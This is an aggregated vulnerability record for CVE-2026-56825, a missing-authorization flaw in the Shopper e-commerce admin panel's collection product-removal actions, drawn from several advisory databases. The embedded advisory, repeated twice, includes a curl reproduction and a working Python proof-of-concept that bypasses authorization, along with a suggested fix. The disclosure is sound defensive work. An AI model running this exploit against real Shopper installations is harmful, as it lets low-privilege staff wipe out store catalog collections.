{"id":"CVE-2026-56825","aliases":["EUVD-2026-78912","GHSA-2cg9-97gq-9mqp"],"status":"published","title":"Shopper: Missing authorization on product removal actions in CollectionProducts component","description":"Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00504,"percentile":0.43573,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-09-11T21:31:26Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"Packagist","package":"shopper/framework","fixed_in":["2.9.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"shopper/framework","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"shopper/framework","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.2"}]}],"versions":["v2.0.0","v2.0.0-alpha","v2.0.0-beta","v2.0.0-beta10","v2.0.0-beta11","v2.0.0-beta12","v2.0.0-beta13","v2.0.0-beta14","v2.0.0-beta15","v2.0.0-beta16","v2.0.0-beta17","v2.0.0-beta18","v2.0.0-beta19","v2.0.0-beta2","v2.0.0-beta20","v2.0.0-beta21","v2.0.0-beta3","v2.0.0-beta4","v2.0.0-beta5","v2.0.0-beta6","v2.0.0-beta7","v2.0.0-beta8","v2.0.0-beta9","v2.0.1","v2.0.2","v2.0.3","v2.1.1","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.6","v2.2","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.2.5","v2.2.6","v2.2.7","v2.3","v2.3.1","v2.3.2","v2.3.3","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.5.1","v2.6.0","v2.6.1","v2.6.2","v2.6.3","v2.6.4","v2.7.0","v2.7.1","v2.7.2","v2.7.3","v2.8.0","v2.8.1","v2.9.0","v2.9.1"]}],"products":[{"vendor":"shopperdotcom","product":"shopper"},{"vendor":"shopperlabs","product":"shopper"}],"references":[{"url":"https://github.com/shopperlabs/shopper/security/advisories/GHSA-2cg9-97gq-9mqp","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/shopperlabs/shopper/pull/570","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/shopperlabs/shopper/commit/bf72e2753e21296184596d507336c7d65ecd46ff","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/shopperlabs/shopper/releases/tag/v2.9.2","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-2cg9-97gq-9mqp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56825.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56825","tags":["advisory"]},{"url":"https://github.com/shopperlabs/shopper","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-56825","title":"Shopper: Missing authorization on product removal actions in CollectionProducts component","description":"Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.","status":"published","published":"2026-09-15T17:38:42.928Z","modified":"2026-09-16T14:40:15.792Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T13:37:02.780526Z"}],"euvd":[{"id":"EUVD-2026-78912","description":"Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.","status":"published","published":"2026-09-15T17:38:42Z","modified":"2026-09-16T14:40:15Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:15.854171Z"}],"ghsa":[{"id":"GHSA-2cg9-97gq-9mqp","title":"Shopper: Missing authorization on product removal actions in CollectionProducts component","description":"## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `-\u003eauthorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no -\u003eauthorize(...)\n-\u003erecordActions([\n    Action::make('delete')\n        -\u003elabel(__('shopper::forms.actions.delete'))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003eiconButton()\n        -\u003ecolor('danger')\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (Product $record): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n            $this-\u003edispatch('collection.add.product');\n            Notification::make()\n                -\u003etitle(__('shopper::pages/collections.remove_product'))\n                -\u003esuccess()\n                -\u003esend();\n        }),\n])\n\n// Lines 91-105 - bulk remove action, no -\u003eauthorize(...)\n-\u003egroupedBulkActions([\n    DeleteBulkAction::make()\n        -\u003elabel(__('shopper::forms.actions.delete'))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (EloquentCollection $records): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck('id')-\u003etoArray());\n            $this-\u003edispatch('collection.add.product');\n            Notification::make()\n                -\u003etitle(__('shopper::pages/collections.remove_product'))\n                -\u003esuccess()\n                -\u003esend();\n        })\n        -\u003edeselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n#          substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\n        \"path\": \"\",\n        \"method\": \"callBulkAction\",\n        \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n      }]\n    }]\n  }'\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n#           regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  COLLECTION_ID   integer ID of the target collection\n  PRODUCT_IDS     comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ['BASE_URL']\nsession       = os.environ['SESSION_COOKIE']\nxsrf          = os.environ['XSRF_TOKEN']\ncomponent_id  = os.environ['COMPONENT_ID']\ncollection_id = int(os.environ['COLLECTION_ID'])\nproduct_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\nsnapshot = json.dumps({\n    'id': component_id,\n    'data': {'collection': collection_id},\n    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',\n})\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{\n            'path': '',\n            'method': 'callBulkAction',\n            'params': ['delete', product_ids],\n        }]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                          // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make('delete')\n    -\u003eauthorize('edit_collections')  // add this\n    -\u003eaction(function (Product $record): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n        // ...\n    }),\n\n// Bulk action:\nDeleteBulkAction::make()\n    -\u003eauthorize('edit_collections')  // add this\n    -\u003eaction(function (EloquentCollection $records): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck('id')-\u003etoArray());\n        // ...\n    })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).","status":"published","published":"2026-09-11T21:31:26Z","modified":"2026-09-11T21:31:26Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2026-56825","description":"Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.","status":"published","published":"2026-09-15T18:17:24.68Z","modified":"2026-09-30T17:51:56.193Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:47.668237Z"}],"osv":[{"id":"CVE-2026-56825","title":"Shopper: Missing authorization on product removal actions in CollectionProducts component","description":"Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.","status":"published","published":"2026-09-15T17:38:42.928Z","modified":"2026-10-28T02:31:02.486301461Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:12.016252Z"},{"id":"GHSA-2cg9-97gq-9mqp","title":"Shopper: Missing authorization on product removal actions in CollectionProducts component","description":"## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `-\u003eauthorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no -\u003eauthorize(...)\n-\u003erecordActions([\n    Action::make('delete')\n        -\u003elabel(__('shopper::forms.actions.delete'))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003eiconButton()\n        -\u003ecolor('danger')\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (Product $record): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n            $this-\u003edispatch('collection.add.product');\n            Notification::make()\n                -\u003etitle(__('shopper::pages/collections.remove_product'))\n                -\u003esuccess()\n                -\u003esend();\n        }),\n])\n\n// Lines 91-105 - bulk remove action, no -\u003eauthorize(...)\n-\u003egroupedBulkActions([\n    DeleteBulkAction::make()\n        -\u003elabel(__('shopper::forms.actions.delete'))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (EloquentCollection $records): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck('id')-\u003etoArray());\n            $this-\u003edispatch('collection.add.product');\n            Notification::make()\n                -\u003etitle(__('shopper::pages/collections.remove_product'))\n                -\u003esuccess()\n                -\u003esend();\n        })\n        -\u003edeselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n#          substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\n        \"path\": \"\",\n        \"method\": \"callBulkAction\",\n        \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n      }]\n    }]\n  }'\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n#           regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  COLLECTION_ID   integer ID of the target collection\n  PRODUCT_IDS     comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ['BASE_URL']\nsession       = os.environ['SESSION_COOKIE']\nxsrf          = os.environ['XSRF_TOKEN']\ncomponent_id  = os.environ['COMPONENT_ID']\ncollection_id = int(os.environ['COLLECTION_ID'])\nproduct_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\nsnapshot = json.dumps({\n    'id': component_id,\n    'data': {'collection': collection_id},\n    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',\n})\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{\n            'path': '',\n            'method': 'callBulkAction',\n            'params': ['delete', product_ids],\n        }]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                          // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make('delete')\n    -\u003eauthorize('edit_collections')  // add this\n    -\u003eaction(function (Product $record): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n        // ...\n    }),\n\n// Bulk action:\nDeleteBulkAction::make()\n    -\u003eauthorize('edit_collections')  // add this\n    -\u003eaction(function (EloquentCollection $records): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck('id')-\u003etoArray());\n        // ...\n    })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).","status":"published","published":"2026-09-11T21:31:26Z","modified":"2026-09-11T21:45:09.885564731Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:34.338541Z"}]}}